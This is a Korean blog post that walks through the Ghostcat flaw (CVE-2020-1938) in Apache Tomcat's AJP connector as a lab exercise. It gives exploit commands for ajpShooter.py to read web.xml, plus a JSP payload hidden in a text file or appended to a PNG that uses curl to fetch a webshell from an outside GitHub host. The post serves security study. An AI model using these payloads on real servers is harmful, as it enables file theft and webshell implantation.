주제
CVE-2020-1938: Tomcat-AJP 프로토콜 Local file Include/Read 취약점(Ghostcat)
내용
1. 개요
CVE-2020-1938은 Apache Tomcat 서버의 AJP (Apache JServ Protocol) 커넥터에서 발견된 취약점으로, 흔히 Ghostcat으로 불리기도 합니다. 이 취약점은 Tomcat 6.x부터 9.x까지의 버전에서 영향을 미치며, 공격자가 서버의 민감한 파일을 읽거나 원격으로 코드를 실행할 수 있도록 악용될 수 있습니다.
[영향을 받는 Tomcat 버전]
- Tomcat 7.0.0 ~ 7.0.99
- Tomcat 8.5.0 ~ 8.5.50
- Tomcat 9.0.0 ~ 9.0.30
2. AJP
AJP는 WEB 서버와 WAS 서버 간의 통신을 지원하는 프로토콜 입니다. 주로 Apache HTTP Server와 Apahce Tomcat간의 통신을 위해 사용됩니다.
[동작 방식]
1) 클라이언트가 Apache에 요청을 보냅니다.
2) Apache가 AJP 프로토콜을 사용하여 요청을 Tomcat 애플리케이션 서버로 전달합니다.
3) Tomcat이 요청을 처리한 후 응답을 생성합니다.
4) AJP 프로토콜을 통해 Apache로 응답을 전송합니다.
5) Apache는 클라이언트에게 응답을 반환합니다.
AJP Request가 Apache에서 Tomcat으로 전송될 때, 사용자 입력값 검증없이 실행되면서 임의로 파일 읽기나 실행이 가능하게 됩니다.
3. CVE-2020-1938
간단하게 PoC 코드를 사용하여 로컬 파일을 읽는 실습을 진행하겠습니다.
[실습환경]
타겟 웹 서버: Microsoft Windows 11 Pro, apache ,tomcat 9.0.1, Apache/2.4.58
사용도구: ajpShooter.py
3.1. Local File Include/Read
익스플로잇:
Step 1) 타겟 스캐닝 후 AJP 포트 활성화 확인
Step 2) 익스플로잇 코드 사용하여 /WEB-INF/web.xml 파일 확인
- WAS 디렉터리(webapp) 내 임의 파일 읽기
- /WEB-INF/, /META-INF/, 소스 코드 등
python3 ajpShooter.py http://192.168.149.151:8080/ 8009 /WEB-INF/web.xml read
3.2. RCE
웹 어플리케이션에서 파일 업로드가 가능한 경우, Ghostcat 취약점과 연계하여 원격 코드 실행을 수행할 수 있습니다. JSP 코드가 포함된 파일(image, txt 파일 등)을 서버에 업로드한 뒤, Ghostcat 취약점을 통해 해당 파일을 실행시킴으로서 웹쉘 업로드 등을 수행합니다.
Ghostcat 취약점을 이용하여 RCE를 수행하기 위해서는 몇 가지 조건이 존재합니다.
1) 웹 어플리케이션에 파일 업로드 기능 존재
2) 파일이 Document Root 내에 저장
3) 업로드 경로 파악
가정:
- 웹 어플리케이션에서 업로드 가능한 파일의 확장자를 제한하고 있음: png, jpg, txt 등
- 파일 업로드 경로: /app/uploads/
- /app/uploads/ 디렉터리 접근 시 403 에러 발생 → 다른 위치에 웹쉘 업로드 필요
익스플로잇:
Step 1) 웹쉘 준비
- 자체 제작한 웹쉘을 공격자 서버에 업로드하거나,
- 다른 웹쉘 저장소 사용
Step 2) 웹쉘을 다운로드 하는 코드가 포함된 파일 제작
# 예시 1. attack.txt
<%
String appPath = application.getRealPath("/");
String savePath = appPath + "../shell.jsp";
Runtime.getRuntime().exec("cmd /c curl -o \"" + savePath + "\" https://raw.githubusercontent.com/tennc/webshell/refs/heads/master/fuzzdb-webshell/jsp/cmd.jsp");
%>
# 예시 2. 정상 이미지 파일(TEST.png)에 악의적인 코드 추가
echo '<%
String appPath = application.getRealPath("/");
String savePath = appPath + "../shell.jsp";
Runtime.getRuntime().exec("cmd /c curl -o \"" + savePath + "\" https://raw.githubusercontent.com/tennc/webshell/refs/heads/master/fuzzdb-webshell/jsp/cmd.jsp");
%>' >> TEST.png
Step 3) 타겟 웹 어플리케이션에 파일 업로드 기능을 통해 임의 파일 업로드
Step 4) 웹 어플리케이션 내 attack.txt 파일 업로드된 위치 확인, 이후 Ghostcat Exploit
- 서버에 업로드한 파일이 JSP로서 실행되면서 임의의 웹쉘을 다운로드함
# TXT 파일
python3 ajpShooter.py http://192.168.149.151:8080/app/uploads 8009 /attack.txt eval
_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test
[<] 200 200
[<] Set-Cookie: JSESSIONID=493FB7BB72C92A4E7F2450809A8129F7; Path=/app/uploads; HttpOnly
[<] Content-Type: text/html;charset=ISO-8859-1
[<] Content-Length: 2
# PNG 파일
python3 ajpShooter.py http://192.168.149.151:8080/app/uploads 8009 /TEST.png eval
_ _ __ _ _
/_\ (_)_ __ / _\ |__ ___ ___ | |_ ___ _ __
//_\\\\ | | '_ \ \ \| '_ \ / _ \ / _ \| __/ _ \ '__|
/ _ \| | |_) | _\ \ | | | (_) | (_) | || __/ |
\_/ \_// | .__/ \__/_| |_|\___/ \___/ \__\___|_|
|__/|_|
00theway,just for test
[<] 200 200
[<] Set-Cookie: JSESSIONID=BB33B8926CA56FA925E4B31891B5C955; Path=/app/uploads; HttpOnly
[<] Content-Type: text/html;charset=ISO-8859-1
[<] Content-Length: 1056
b'\x89PNG\r\n\x1a\n\x00\x00\x00\rIHDR\x00\x00\x02b\x00\x00\x00\xf1\x04\x03\x00\x00\x00\x9a\x15\xc6\
Step 5) 업로드한 파일(attack.txt 혹은 TEST.png)이 JSP로서 실행되어, 웹쉘(/app/shell.jsp)이 생성됨을 확인
레퍼런스
- TryHackme: tomghost(링크)
- igloo: Tomcat-AJP 취약점 분석 및 대응방안 : Ghostcat(링크)
- Hancheng-Lei: Hacking-Vulnerability-CVE-2020-1938-Ghostcat (링크)
'보안 > 웹·모바일' 카테고리의 다른 글
JWT(JSON Web Token) 취약점 악용(2) - Brute Force, jwk/jku/kid injection (0) | 2025.02.10 |
---|---|
JWT(JSON Web Token) 취약점 악용 (1) - None Algorithm, Algorithm Confusion (0) | 2025.01.18 |
JWT(JSON Web Token) 개념 (0) | 2025.01.05 |
CVE-2024-4577:PHP-CGI 원격 코드 실행 (0) | 2024.12.23 |
Burp Suite로 패킷이 잘 안잡힘 해결 (0) | 2024.02.16 |